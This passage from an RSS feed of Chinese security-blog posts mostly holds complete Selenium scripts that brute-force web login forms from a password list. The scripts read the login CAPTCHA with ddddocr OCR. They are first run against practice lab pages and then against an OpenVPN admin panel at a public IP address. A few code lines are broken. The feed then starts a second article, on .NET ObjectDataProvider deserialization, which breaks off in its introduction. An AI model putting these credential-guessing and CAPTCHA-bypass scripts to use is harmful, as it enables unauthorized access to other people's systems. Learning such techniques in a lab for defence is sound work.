src="https://wechat2rss.xlab.app/img-proxy/?k=40e66b3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQLQquvvcYW49lMKWcib4KUNEL5uyafqdqyric7Gia1ZiazmBz0OzfNICdjw%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">完整代码</h3><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">from</span> time <span style="color: rgb(198, 120, 221);">import</span> sleep<br/><span style="color: rgb(198, 120, 221);">from</span> selenium <span style="color: rgb(198, 120, 221);">import</span> webdriver<br/><span style="color: rgb(198, 120, 221);">from</span> selenium.webdriver.common.by <span style="color: rgb(198, 120, 221);">import</span> By<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">login</span>():<br/>    driver = webdriver.Chrome(executable_path=<span style="color: rgb(152, 195, 121);">r&#39;C:\WebDriver\bin\chromedriver.exe&#39;</span>)<br/>    driver.get(<span style="color: rgb(152, 195, 121);">&#34;<a href="http://192.168.124.148/test/vul/burteforce/bf_form.php" target="_blank">http://192.168.124.148/test/vul/burteforce/bf_form.php</a>&#34;</span>)<br/>    passwords = <span style="color: rgb(230, 192, 123);">open</span>(<span style="color: rgb(152, 195, 121);">&#39;pass.txt&#39;</span>,<span style="color: rgb(152, 195, 121);">&#39;r&#39;</span>,encoding=<span style="color: rgb(152, 195, 121);">&#34;utf-8&#34;</span>)<br/>    passwords.seek(<span style="color: rgb(209, 154, 102);">0</span>)<br/>    <span style="color: rgb(198, 120, 221);">for</span> password <span style="color: rgb(198, 120, 221);">in</span> passwords:<br/>        find_login_box = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[1]/span/input&#39;</span>)<br/>        find_pass_box = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[2]/span/input&#39;</span>)<br/>        find_button = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/div[2]/label/input&#39;</span>)<br/>        password = password.strip()<br/>        find_login_box.send_keys(<span style="color: rgb(152, 195, 121);">&#39;admin&#39;</span>)<br/>        find_pass_box.send_keys(password)<br/>        sleep(<span style="color: rgb(209, 154, 102);">1</span>)<br/>        find_button.click()<br/>        loginYN = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/p&#39;</span>).text<br/>        <span style="color: rgb(198, 120, 221);">if</span> loginYN == <span style="color: rgb(152, 195, 121);">&#34;login success&#34;</span>:<br/>            <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;爆破成功，密码为:&#34;</span>+ password)<br/>        sleep(<span style="color: rgb(209, 154, 102);">2</span>)<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">#ActionChains(browser).key_down(Keys.CONTROL).send_keys(&#34;t&#34;).key_up(Keys.CONTROL).perform()</span><br/>login()<br/></code></pre><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">利用ddddorc识别验证码爆破</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">首先使用官方给的语句，来对验证码进行判断。</p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.7206619859578737" title="null" data-w="1994" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=6b2b3279&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQFbXXOvwqahRibtWQiboM1LnH8WXZ5NOAq20G7H7IrGrKD2MLbMFrtsDA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">逻辑</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">要实现验证码识别，首先需要将验证码保存，之后利用ddddorc进行识别。</p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">对于动态验证码的保存可以使用selenium中的screenshot方法，网上也存在着通过xpath获取元素并存储图片的方法。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">存储图片</h3><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">find_capcha = driver.find_element(by=By.XPATH,value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[4]/img&#39;</span>)<br/>find_capcha.screenshot(<span style="color: rgb(152, 195, 121);">&#34;showvcode.png&#34;</span>)</code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">调用ddddorc识别</h3><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">        ocr = ddddocr.DdddOcr()<br/>        <span style="color: rgb(198, 120, 221);">with</span> <span style="color: rgb(230, 192, 123);">open</span>(<span style="color: rgb(152, 195, 121);">&#34;showvcode.png&#34;</span>, <span style="color: rgb(152, 195, 121);">&#39;rb&#39;</span>) <span style="color: rgb(198, 120, 221);">as</span> f:<br/>            image = f.read()<br/>        res = ocr.classification(image)<br/>        <span style="color: rgb(230, 192, 123);">print</span>(res)</code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">完整代码</h3><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">from</span> time <span style="color: rgb(198, 120, 221);">import</span> sleep<br/><span style="color: rgb(198, 120, 221);">from</span> selenium <span style="color: rgb(198, 120, 221);">import</span> webdriver<br/><span style="color: rgb(198, 120, 221);">from</span> selenium.webdriver.common.by <span style="color: rgb(198, 120, 221);">import</span> By<br/><span style="color: rgb(198, 120, 221);">import</span> ddddocr<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">main</span>():<br/>    driver = webdriver.Chrome(executable_path=<span style="color: rgb(152, 195, 121);">r&#39;C:\WebDriver\bin\chromedriver.exe&#39;</span>)  <span style="color: rgb(92, 99, 112);font-style: italic;"># 指定crome驱动位置</span><br/>    driver.get(<span style="color: rgb(152, 195, 121);">&#39;<a href="http://192.168.180.152/06/vul/burteforce/bf_server.php" target="_blank">http://192.168.180.152/06/vul/burteforce/bf_server.php</a>&#39;</span>)<br/>    read_passwords = <span style="color: rgb(230, 192, 123);">open</span>(<span style="color: rgb(152, 195, 121);">&#39;pass.txt&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;r&#39;</span>, encoding=<span style="color: rgb(152, 195, 121);">&#34;utf-8&#34;</span>)<br/>    read_passwords.seek(<span style="color: rgb(209, 154, 102);">0</span>)<br/>    <span style="color: rgb(198, 120, 221);">for</span> password <span style="color: rgb(198, 120, 221);">in</span> read_passwords:<br/>        find_login_box = driver.find_element(by=By.XPATH,<br/>                                             value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[1]/span/input&#39;</span>)<br/>        find_pass_box = driver.find_element(by=By.XPATH,<br/>                                            value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[2]/span/input&#39;</span>)<br/>        find_button = driver.find_element(by=By.XPATH,<br/>                                          value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/div[2]/label/input&#39;</span>)<br/>        find_capcha = driver.find_element(by=By.XPATH,<br/>                                          value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[4]/img&#39;</span>)<br/>        find_capcha_box = driver.find_element(by=By.XPATH,<br/>                                              value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[3]/span/input&#39;</span>)<br/>        find_capcha.screenshot(<span style="color: rgb(152, 195, 121);">&#34;showvcode.png&#34;</span>)<br/>        ocr = ddddocr.DdddOcr()<br/>        <span style="color: rgb(198, 120, 221);">with</span> <span style="color: rgb(230, 192, 123);">open</span>(<span style="color: rgb(152, 195, 121);">&#34;showvcode.png&#34;</span>, <span style="color: rgb(152, 195, 121);">&#39;rb&#39;</span>) <span style="color: rgb(198, 120, 221);">as</span> f:<br/>            image = f.read()<br/>        res = ocr.classification(image)<br/>        <span style="color: rgb(230, 192, 123);">print</span>(res)<br/>        password = password.strip()<br/>        find_login_box.send_keys(<span style="color: rgb(152, 195, 121);">&#39;admin&#39;</span>)<br/>        find_pass_box.send_keys(password)<br/>        sleep(<span style="color: rgb(209, 154, 102);">1</span>)<br/>        find_capcha_box.send_keys(res)<br/>        sleep(<span style="color: rgb(209, 154, 102);">3</span>)<br/>        find_button.click()<br/>        loginYN = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/p&#39;</span>).text<br/>        <span style="color: rgb(198, 120, 221);">if</span> loginYN == <span style="color: rgb(152, 195, 121);">&#34;login success&#34;</span>:<br/>            <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;爆破成功，密码为:&#34;</span> + password)<br/>        sleep(<span style="color: rgb(209, 154, 102);">2</span>)<br/>    ActionChains(browser).key_down(Keys.CONTROL).send_keys(<span style="color: rgb(152, 195, 121);">&#34;t&#34;</span>).key_up(Keys.CONTROL).perform()<br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#34;__main__&#34;</span>:<br/>    main()<br/></code></pre><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 2em;margin-left: auto;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">演示<span style="display: none;line-height: 0px;">‍</span></h2><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5577526679221595" data-s="300,640" style="" data-type="gif" data-w="3186" src="https://wechat2rss.xlab.app/img-proxy/?k=b3643da5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQBN5ibnJh1DbKfqCuNnwq6vMJiaicfXQdyh54yguyibmq7DhaRHcSUUT1ag%2F640%3Fwx_fmt%3Dgif"/></p><p style="text-align: center;"><br/></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 2em;margin-left: auto;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">实战利用selenium爆破openvpn</h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">判断是否登录成功</h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">URL由<a href="https://xxx/admin/" target="_blank">https://xxx/admin/</a> 变为 <a href="https://xxx/admin/status_overview" target="_blank">https://xxx/admin/status_overview</a></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">if</span> driver.current_url == <span style="color: rgb(152, 195, 121);">&#39;<a href="https://158.247.207.44/admin/status_overview" target="_blank">https://158.247.207.44/admin/status_overview</a>&#39;</span>:<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;登录成功密码为:&#34;</span>.password)</code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">完整代码</h3><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">from</span> time <span style="color: rgb(198, 120, 221);">import</span> sleep<br/><span style="color: rgb(198, 120, 221);">from</span> selenium <span style="color: rgb(198, 120, 221);">import</span> webdriver<br/><span style="color: rgb(198, 120, 221);">from</span> selenium.webdriver.common.by <span style="color: rgb(198, 120, 221);">import</span> By<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">main</span>():<br/>    options = webdriver.ChromeOptions()<br/>    options.add_argument(<span style="color: rgb(152, 195, 121);">&#39;ignore-certificate-errors&#39;</span>)<br/>    driver = webdriver.Chrome(executable_path=<span style="color: rgb(152, 195, 121);">r&#39;C:\WebDriver\bin\chromedriver.exe&#39;</span>,<br/>                              chrome_options=options)  <span style="color: rgb(92, 99, 112);font-style: italic;"># 指定crome驱动位置</span><br/>    driver.get(<span style="color: rgb(152, 195, 121);">&#39;<a href="https://158.247.207.44/admin/" target="_blank">https://158.247.207.44/admin/</a>&#39;</span>)<br/>    read_passwords = <span style="color: rgb(230, 192, 123);">open</span>(<span style="color: rgb(152, 195, 121);">&#39;pass.txt&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;r&#39;</span>, encoding=<span style="color: rgb(152, 195, 121);">&#34;utf-8&#34;</span>)<br/>    read_passwords.seek(<span style="color: rgb(209, 154, 102);">0</span>)<br/>    <span style="color: rgb(198, 120, 221);">for</span> password <span style="color: rgb(198, 120, 221);">in</span> read_passwords:<br/>        find_login_box = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;username&#34;]&#39;</span>)<br/>        find_pass_box = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;password&#34;]&#39;</span>)<br/>        find_button = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;submit-button&#34;]&#39;</span>)<br/>        password = password.strip()<br/>        find_login_box.send_keys(<span style="color: rgb(152, 195, 121);">&#39;openvpn&#39;</span>)<br/>        find_pass_box.send_keys(password)<br/>        sleep(<span style="color: rgb(209, 154, 102);">1</span>)<br/>        find_button.click()<br/>        <span style="color: rgb(198, 120, 221);">if</span> driver.current_url == <span style="color: rgb(152, 195, 121);">&#39;<a href="https://158.247.207.44/admin/status_overview" target="_blank">https://158.247.207.44/admin/status_overview</a>&#39;</span>:<br/>            <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;登录成功密码为:&#34;</span> + password)<br/>    ActionChains(browser).key_down(Keys.CONTROL).send_keys(<span style="color: rgb(152, 195, 121);">&#34;t&#34;</span>).key_up(Keys.CONTROL).perform()<br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#34;__main__&#34;</span>:<br/>    main()<br/></code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">演示</h3><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5777957860615883" data-s="300,640" style="" data-type="gif" data-w="2468" src="https://wechat2rss.xlab.app/img-proxy/?k=6a1d4e78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FPLeCXQl8794EE2SIXKao53Uoe6H82Oc2v8bxj5dY1m8yraMX2K6p4lT4dcEaguCCCsICHfM4dibXibnSiaDYujqmA%2F640%3Fwx_fmt%3Dgif"/></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 2em;margin-left: auto;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">参考</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://selenium-python.readthedocs.io/" target="_blank">https://selenium-python.readthedocs.io/</a> <a href="https://github.com/sml2h3/ddddocr" target="_blank">https://github.com/sml2h3/ddddocr</a> <a href="https://baike.baidu.com/item/Selenium/18266" target="_blank">https://baike.baidu.com/item/Selenium/18266</a> <a href="https://vikyd.github.io/download-chromium-history-version/#/" target="_blank">https://vikyd.github.io/download-chromium-history-version/#/</a> <a href="https://www.selenium.dev/documentation/webdriver/getting_started/install_drivers/" target="_blank">https://www.selenium.dev/documentation/webdriver/getting_started/install_drivers/</a></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247499304">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1c685b6e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499304%26idx%3D1%26sn%3Dfcd54328e223414070f0e40229e05f59%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 07 Nov 2022 09:20:00 +0800</pubDate>
    </item>
    <item>
      <title>DotNet安全-从ObjectDataProvider说起</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499257&amp;idx=1&amp;sn=a1e50be0d79e7e4c7228945e8caee173</link>
      <description>通过本文我们来一起了解.net反序列化的基石之一的ObjectDataProvider及一条较为通用的反序列化链TextFormattingRunProperties。</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2022-10-31 09:10</span> <span style="display: inline-block;">江苏</span>
</p>

<p>通过本文我们来一起了解.net反序列化的基石之一的ObjectDataProvider及一条较为通用的反序列化链TextFormattingRunProperties。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=22a47165&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mz1XFZIzJOreMibKNLFbd0ljicEicK243LSfnrg7UVWicpfpEfrxreTibBpOQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">DotNet安全-从ObjectDataProvider说起</h1><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">引言</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在《DotNet安全-CVE-2022-23277漏洞复现》这篇文章中，我们想要通过反序列化漏洞直接写入文件的时候遇见了问题，当时觉得ObjectDataProvider除了使用执行命令的方式，无法通过执行代码的方式实现webshell的写入。在看了一些链相关的文章后，发现有许多链最终都依赖于ObjectDataProvider并且可以实现任意代码执行的功能，下面这篇文章我们来一起了解.net反序列化的基石之一的ObjectDataProvider。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, 